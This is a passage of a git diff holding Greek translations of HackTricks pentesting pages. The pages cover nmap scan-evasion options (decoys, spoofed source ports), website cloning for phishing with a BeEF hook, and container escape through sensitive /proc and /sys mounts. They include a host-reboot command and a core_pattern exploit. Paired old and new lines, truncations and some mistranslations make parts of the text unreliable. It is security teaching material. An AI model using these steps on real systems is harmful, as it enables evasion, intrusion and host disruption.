Μπορείτε να τροποποιήσετε το χρονικό όριο rtt, αλλά συνήθως δεν είναι απαραίτητο: **--min-rtt-timeout** _**\<χρόνος>**_**,** **--max-rtt-timeout** _**\<χρόνος>**_**,** **--initial-rtt-timeout** _**\<χρόνος>**_
@ -115,17 +115,17 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
Μπορείτε να τροποποιήσετε το χρόνο σάρωσης ενός στόχου: **--host-timeout** _**\<χρόνος>**_
Μπορείτε να τροποποιήσετε το χρόνο μεταξύ κάθε δοκιμής για να είναι πιο αργή: **--scan-delay** _**\<χρόνος>**_**;** **--max-scan-delay** _**\<χρόνος>**_
Μπορείτε να τροποποιήσετε το χρόνο μεταξύ κάθε δοκιμής για να πηγαίνει αργά: **--scan-delay** _**\<χρόνος>**_**;** **--max-scan-delay** _**\<χρόνος>**_
Μπορείτε να τροποποιήσετε τον αριθμό πακέτων ανά δευτερόλεπτο: **--min-rate** _**\<αριθμός>**_**;** **--max-rate** _**\<αριθμός>**_
Πολλές θύρες χρειάζονται πολύ χρόνο για να ανταποκριθούν όταν είναι φιλτραρισμένες ή κλειστές, αν ενδιαφέρονται μόνο οι ανοιχτές, μπορείτε να προχωρήσετε ταχύτερα με: **--defeat-rst-ratelimit**
Πολλές θύρες χρειάζονται πολύ χρόνο για να ανταποκριθούν όταν είναι φιλτραρισμένες ή κλειστές, αν ενδιαφέρονται μόνο οι ανοιχτές, μπορείτε να πηγαίνετε πιο γρήγορα με: **--defeat-rst-ratelimit**
Για να ορίσετε πόσο επιθετικό θέλετε να είναι το nmap: -T paranoid|sneaky|polite|normal|aggressive|insane
Για να ορίσετε πόσο επιθετικό θέλετε να είναι το Nmap: -T paranoid|sneaky|polite|normal|aggressive|insane
\-T (0-5)
\-T (0-1)
\-T0 --> Σαρώνει μόνο μία θύρα τη φορά και περιμένει 5 λεπτά μέχρι την επόμενη
\-T0 --> Σαρώνει μόνο μια θύρα τη φορά και περιμένει 5 λεπτά μέχρι την επόμενη
\-T1 και T2 --> Πολύ παρόμοια αλλά περιμένουν μόνο 15 και 0,4 δευτερόλεπτα αντίστοιχα μεταξύ κάθε δοκιμής
@ -141,16 +141,16 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
**-f** Για να κατακερματίσετε πακέτα, από προεπιλογή τα κατακερματίζει σε 8bytes μετά την κεφαλίδα, για να καθορίσετε αυτό το μέγεθος χρησιμοποιήστε ..mtu (με αυτό, μην χρησιμοποιείτε -f), το offset πρέπει να είναι πολλαπλάσιο του 8. **Τα εργαλεία ανίχνευσης εκδόσεων και τα _scripts_ δεν υποστηρίζουν την κατακερματισμό**
**-D decoy1,decoy2,ME** Το Nmap στέλνει σαρωτές αλλά με άλλες διευθύνσεις IP ως προέλευση, με αυτόν τον τρόπο σας κρύβει. Αν βάλετε το ME στη λίστα, το nmap θα σας τοποθετήσει εκεί, καλύτερα να βάλετε 5 ή 6 πριν από εσάς για να σας κρύψει πλήρως. Μπορείτε να δημιουργήσετε τυχαίες διευθύνσεις IP με RND:\<αριθμός> Για να δημιουργήσετε \<αριθμό> τυχαίες διευθύνσεις IP. Δεν λειτουργούν με ανίχνευση εκδόσεων χωρίς σύνδεση TCP. Αν βρίσκεστε μέσα σε ένα δίκτυο, σας ενδιαφέρει να χρησιμοποιήσετε διευθύνσεις IP που είναι ενεργές, διότι αλλιώς θα είναι πολύ εύκολο να ανακαλυφθεί ότι είστε ο μοναδικός ενεργός.
**-D decoy1,decoy2,ME** Το Nmap στέλνει σαρώσεις αλλά με άλλες διευθύνσεις IP ως προέλευση, με αυτόν τον τρόπο σας κρύβει. Αν βάλετε το ME στη λίστα, το Nmap θα σας τοποθετήσει εκεί, καλύτερα βάλτε 5 ή 6 πριν από εσάς για να σας κρύψει πλήρως. Μπορείτε να δημιουργήσετε τυχαίες διευθύνσεις IP με RND:\<αριθμός> Για να δημιουργήσετε \<αριθμό> τυχαίες διευθύνσεις IP. Δεν λειτουργούν με ανίχνευση εκδόσεων χωρίς σύνδεση TCP. Αν βρίσκεστε μέσα σε ένα δίκτυο, σας ενδιαφέρει να χρησιμοποιήσετε διευθύνσεις IP που είναι ενεργές, διότι αλλιώς θα είναι πολύ εύκολο να ανακαλυφθεί ότι είστε ο μοναδικός ενεργός.
Για χρήση τυχαίων διευθύνσεων IP: nmap-D RND: 10 Ip\_στόχος
Για να χρησιμοποιήσετε τυχαίες διευθύνσεις IP: nmap -D RND: 10 Στόχος\_IP
**-S IP** Όταν το Nmap δεν ανιχνεύει τη διεύθυνση IP σας, πρέπει να τη δώσετε με αυτό. Χρησιμοποι
**--proxies** _**\<Λίστα διευθύνσεων URL proxy χωρισμένων με κόμμα>**_ Για να χρησιμοποιήσετε proxies, μερικές φορές ένα proxy δεν διατηρεί τόσες ανοιχτές συνδέσεις όσες επιθυμεί το nmap, οπότε θα πρέπει να τροποποιήσετε την παράλληλη εκτέλεση: --max-parallelism
**-S IP** Όταν το Nmap δεν ανιχνεύει τη διεύθυνση IP σας, πρέπει να τη δώσετε με αυτό. Χρησιμοποιείται επίσης
**--proxies** _**\<Λίστα διευθύνσεων URL προκειμένου>**_ Για να χρησιμοποιήσετε proxies, μερικές φορές ένα proxy δεν διατηρεί τόσες ανοιχτές συνδέσεις όσες επιθυμεί το nmap, οπότε θα πρέπει να τροποποιήσετε την παράλληλη εκτέλεση: --max-parallelism
**-sP** Για την ανίχνευση των κόμβων στο δίκτυο στο οποίο βρισκόμαστε μέσω ARP
**-sP** Για την ανίχνευση των οικοδεσποτών στο δίκτυο στο οποίο βρισκόμαστε μέσω ARP
Πολλοί διαχειριστές δημιουργούν μια κανόνα στο firewall που επιτρέπει τη διέλευση όλων των πακέτων που προέρχονται από ένα συγκεκριμένο θύρα (όπως οι 20, 53 και 67), μπορούμε να πούμε στο nmap να στείλει τα πακέτα μας από αυτές τις θύρες: **nmap --source-port 53 Ip**
Πολλοί διαχειριστές δημιουργούν μια κανόνα στον τοίχο προστασίας που επιτρέπει τη διέλευση όλων των πακέτων που προέρχονται από ένα συγκεκριμένο θύρα (όπως οι 20, 53 και 67), μπορούμε να πούμε στο nmap να στείλει τα πακέτα μας από αυτές τις θύρες: **nmap --source-port 53 Ip**
**Εξόδοι**
@ -158,7 +158,7 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
**-oX file** Έξοδος XML
**-oS file** Έξοδος για script kidies
**-oS file** Έξοδος για script kiddies
**-oG file** Έξοδος σε μορφή που μπορεί να αναζητηθεί με grep
@ -168,15 +168,15 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
**-d level** Αποσφαλμάτωση
**--reason** Το γιατί του κόμβου και της κατάστασης
**--reason** Λόγος του οικοδεσπότη και κατάσταση
**--stats-every time** Κάθε τόσο χρόνο μας λέει πώς πάει
**--packet-trace** Για να δούμε ποια πακέτα αποστέλλονται, μπορούν να καθοριστούν φίλτρα όπως: --version-trace ή --script-trace
**--packet-trace** Για να δούμε ποια πακέτα αποστέλλονται, μπορούμε να καθορίσουμε φίλτρα όπως: --version-trace ή --script-trace
**--open** εμφανίζει τους ανοιχτούς, τους ανοιχτούς|φιλτραρισμένους και τους μη φιλτραρισμένους
**--resume file** Εκτυπώνει ένα περίληψη
**--resume file** Εκτυπώνει ένα σύνοψη
**Διάφορα**
@ -194,11 +194,11 @@ d / D Αύξηση / μείωση του επιπέδου αποσφαλμάτω
p / P Ενεργοποίηση / απενεργοποίηση της καταγραφής πακέτων
? Εκτύπωση οθόνης βοήθειας αλληλεπίδρασης κατά την εκτέλεση
? Εκτύπωση οθόνης βοήθειας αλληλεπίδρασης κατά τη διάρκεια της εκτέλεσης
**Vulscan**
Το script του nmap που εξετάζει τις εκδόσεις των υπηρεσιών που ανακτώνται από μια offline βάση δεδομένων (που κατεβάζει από πολύ σημαντικές άλλες) και επιστρέφει τυχόν ευπάθειες
Σενάριο του nmap που εξετάζει τις εκδόσεις των υπηρεσιών που ανακτώνται από μια βάση δεδομένων εκτός σύνδεσης (που κατεβάζει από πολύ σημαντικές άλλες) και επιστρέφει τις πιθανές ευπάθειες
Οι βάσεις δεδομένων που χρησιμοποιεί είναι:
@ -223,10 +223,28 @@ wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar
Για να χρησιμοποιήσετε μια συγκεκριμένη βάση δεδομένων: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
## Επιτάχυνση της ανάλυσης υπηρεσιών του Nmap x16
## Επιτάχυνση της υπηρεσίας σάρωσης του Nmap x16
Σύμφωνα με [**αυτήν την ανάρτηση**](https://joshua.hu/nmap-speedup-service-scanning-16x) μπορείτε να επιταχύνετε την ανάλυση υπηρεσιών του nmap τροποποιώντας όλες τις τιμές **`totalwaitms`** στο **`/usr/share/nmap/nmap-service-probes`** σε **300** και το **`tcpwrappedms`** σε **200**.
Σύμφωνα με [**αυτήν την ανάρτηση**](https://joshua.hu/nmap-speedup-service-scanning-16x) μπορείτε να επιταχύνετε την ανάλυση υπηρεσιών του nmap τροποποιώντας όλες τις τιμές **`totalwaitms`** σε **`/usr/share/nmap/nmap-service-probes`** σε **300** και το **`tcpwrappedms`** σε **200**.
Επιπλέον, οι εξετάσεις που δεν έχουν καθορισμένη ειδικά την τιμή **`servicewaitms`** χρησιμοποιούν μια προεπιλεγμένη τιμή των **`5000`**. Επομένως, μπορούμε είτε να προσθέσουμε τιμές σε κάθε μια από τις εξετάσεις, είτε να **μεταγλωττίσουμε το nmap** μόνοι μας και να αλλάξουμε την προεπιλεγμένη τιμή στο [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
Αν δεν θέλετε να αλλάξετε καθόλου τις τιμές των **`totalwaitms`** και **`tcpwrappedms`** στο αρχείο `/usr/share/nmap/nmap-service-probes`, μπορείτε να επεξεργαστείτε τον [κώδικα ανάλυσης](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) έτσι ώστε αυτές οι τιμές στο αρχείο `nmap-service-probes` να αγνοούνται εντελώς.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** 💬 στην ομάδα Discord](https://discord.gg/hRep4RUj7f) ή στην [ομάδα τηλεγραφήματος](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,18 +1,18 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -20,7 +20,7 @@
Για μια αξιολόγηση phishing μερικές φορές μπορεί να είναι χρήσιμο να **κλωνοποιήσετε πλήρως μια ιστοσελίδα**.
Σημειώστε ότι μπορείτε επίσης να προσθέσετε κάποια φορτία στην κλωνοποιημένη ιστοσελίδα όπως ένα BeEF hook για να "ελέγχετε" την καρτέλα του χρήστη.
Σημειώστε ότι μπορείτε επίσης να προσθέσετε ορισμένα φορτία στην κλωνοποιημένη ιστοσελίδα όπως ένα BeEF hook για να "ελέγχετε" την καρτέλα του χρήστη.
Υπάρχουν διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτόν τον σκοπό:
@ -37,14 +37,14 @@ goclone <url>
```bash
#https://github.com/trustedsec/social-engineer-toolkit
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -52,6 +52,6 @@ goclone <url>
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -9,29 +9,29 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Η εκθεση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση του namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της διαρροής πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν δεν ρυθμιστούν σωστά ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή από τον ελαφρά, τροποποίηση του κεντρικού υπολογιστή ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη προσάρτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης του βασισμένη στη διαδρομή, αφήνοντας το `/host/proc` ανεπτυγμένο.
Η εκθεση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση του namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της διαρροής πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν διαμορφωθούν εσφαλμένα ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή από τον ελαφρύ δοχείο, τροποποίηση του κεντρικού συστήματος ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης βασισμένης στη διαδρομή, αφήνοντας το `/host/proc` ανεπτυγμένο.
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε δυνητική ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## Ευπάθειες procfs
### `/proc/sys`
Αυτός ο κατάλογος επιτρέπει την πρόσβαση για τροποποίηση μεταβλητών πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποκαταλόγους που αφορούν:
Αυτός ο κατάλογος επιτρέπει την πρόσβαση για την τροποποίηση μεταβλητών πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποκαταλόγους που αφορούν:
#### **`/proc/sys/kernel/core_pattern`**
* Περιγράφεται στο [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
* Επιτρέπει τον καθορισμό ενός προγράμματος για εκτέλεση κατά τη δημιουργία αρχείου πυρήνα με τα πρώτα 128 bytes ως ορίσματα. Αυτό μπορεί να οδηγήσει σε εκτέλεση κώδικα εάν το αρχείο ξεκινά με μια σωλήνα `|`.
* Επιτρέπει τον καθορισμό ενός προγράμματος για εκτέλεση κατά τη δημιουργία αρχείου πυρήνα με τα πρώτα 128 bytes ως ορίσματα. Αυτό μπορεί να οδηγήσει σε εκτέλεση κώδικα εάν το αρχείο ξεκινά με ένα pipe `|`.
* **Παράδειγμα Δοκιμής και Εκμετάλλευσης**:
```bash
@ -43,8 +43,8 @@ sleep 5 && ./crash & # Ενεργοποίηση χειριστή
#### **`/proc/sys/kernel/modprobe`**
* Λεπτομερώς στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, καλείται για τη φόρτωση πυρήνα.
* Λεπτομερείς πληροφορίες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνα.
* **Παράδειγμα Έλεγχου Πρόσβασης**:
```bash
@ -54,17 +54,17 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
#### **`/proc/sys/vm/panic_on_oom`**
* Αναφέρεται στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Ένα γενικό σημαία που ελέγχει εάν ο πυρήνας πανικοβάλλεται ή ενεργοποιεί τον OOM killer όταν συμβεί μια κατάσταση OOM.
* Ένα γενικό σημαία που ελέγχει εάν ο πυρήνας κάνει panic ή ενεργοποιεί τον OOM killer όταν συμβεί μια κατάσταση OOM.
#### **`/proc/sys/fs`**
* Σύμφωνα με το [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), περιέχει επιλογές και πληροφορίες σχετικά με το σύστημα αρχείων.
* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνησης υπηρεσίας κατά του κεντρικού υπολογιστή.
* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνητικής υπηρεσίας κατά του κεντρικού συστήματος.
#### **`/proc/sys/fs/binfmt_misc`**
* Επιτρέπει την εγγραφή ερμηνευτών για μη-φυσικές μορφές δεδομένων βασισμένες στο μαγικό τους νούμερο.
* Μπορεί να οδηγήσει σε ανόδου δικαιωμάτων ή πρόσβαση σε κέλυφος ρίζας εάν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
* Μπορεί να οδηγήσει σε ανόδου προνομίων ή πρόσβαση σε κέλυφος ρίζας εάν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
* Σχετική εκμετάλλευση και εξήγηση:
* [Φτωχό rootkit μέσω binfmt\_misc](https://github.com/toffan/binfmt\_misc)
* Αναλυτικός οδηγός: [Σύνδεσμος βίντεο](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -74,15 +74,15 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
#### **`/proc/config.gz`**
* Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα εάν το `CONFIG_IKCONFIG_PROC` είναι ενεργοποιημένο.
* Χρήσιμο για τους επιτιθέμενους για την αναγνώριση ευπαθειών στον τρέχοντα πυρήνα.
* Χρήσιμο για τους επιτιθέμενους για την εντοπισμό ευπαθειών στον τρέχοντα πυρήνα.
#### **`/proc/sysrq-trigger`**
* Επιτρέπει την εκκίνηση εντολών Sysrq, προκαλώντας πιθανώς άμεσες επανεκκινήσεις του συστήματος ή άλλες κρίσιμες ενέργειες.
* **Παράδειγμα Επανεκκίνησης Κεντρικού Υπολογιστή**:
* Επιτρέπει την εκκίνηση εντολών Sysrq, προκαλώντας πιθανώς άμεσες επανεκκινήσεις συστήματος ή άλλες κρίσιμες ενέργειες.
* **Παράδειγμα Επανεκκίνησης Κεντρικού Συστήματος**:
```bash
echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικού υπολογιστή
echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικού συστήματος
```
#### **`/proc/kmsg`**
@ -92,28 +92,28 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικο
#### **`/proc/kallsyms`**
* Καταγράφει τα σύμβολα πυρήνα που εξάγονται και τις διευθύνσεις τους.
* Καταχωρεί σύμβολα πυρήνα που εξάγονται και τις διευθύνσεις τους.
* Βασικό για την ανάπτυξη εκμετάλλευσης πυρήνα, ειδικά για την υπέρβαση του KASLR.
* Οι πληροφορίες διεύθυνσης περιορίζονται με το `kptr_restrict` που έχει οριστεί σε `1` ή `2`.
* Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
* Επικοινωνεί με τη συσκευή μνήμης πυρήνα `/dev/mem`.
* Ιστορικά ευάλωτο σε επιθέσεις ανόδου δικαιωμάτων.
* Αλληλεπιδρά με τη συσκευή μνήμης πυρήνα `/dev/mem`.
* Ιστορικά ευάλωτο σε επιθέσεις ανόδου προνομίων.
* Περισσότερα στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
* Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή πυρήνα ELF.
* Η ανάγνωση μπορεί να διαρρεύσει τα περιεχόμενα μνήμης του κεντρικού υπολογιστή και άλλων δοχείων.
* Η ανάγνωση μπορεί να διαρρεύσει τα περιεχόμενα μνήμης του κεντρικού συστήματος και άλλων δοχείων.
* Το μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή καταρρεύσεις λογισμικού.
* Λεπτομερείς οδηγίες στο [Απορρόφηση /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
* Λεπτομερείς οδηγίες στο [Αδιάβροχο /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
* Εναλλακτική διεπαφή για το `/dev/kmem`, που αντιπροσωπεύει την εικονική μνήμη πυρήνα.
* Επιτρέπει ανάγνωση και εγγραφή, επ
* Επιτρέπει ανάγνωση και εγγραφή, ε
#### **`/sys/class/thermal`**
* Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας ενδεχομένως επιθέσεις DoS ή φυσικές ζημιές.
@ -124,8 +124,8 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικο
#### **`/sys/kernel/security`**
* Περιέχει τη διεπαφή `securityfs`, επιτρέποντας τη διαμόρφωση των Linux Security Modules όπως το AppArmor.
* Η πρόσβαση μπορεί να επιτρέψει σε ένα container να απενεργοποιήσει το σύστημα MAC του.
* Περιέχει τη διεπαφή `securityfs`, επιτρέποντας τη ρύθμιση των Linux Security Modules όπως το AppArmor.
* Η πρόσβαση μπορεί να επιτρέψει σε ένα container να απενεργοποιήσει το σύστημα του MAC.
#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`**
@ -136,3 +136,27 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικο
* Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα.
* Ιστορικό προβλημάτων ασφάλειας λόγω της μη περιορισμένης φύσης του.
### Αναφορές
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Κατανόηση και Ενδυνάμωση των Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Κατάχρηση Προνομιούχων και Μη Προνομιούχων Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
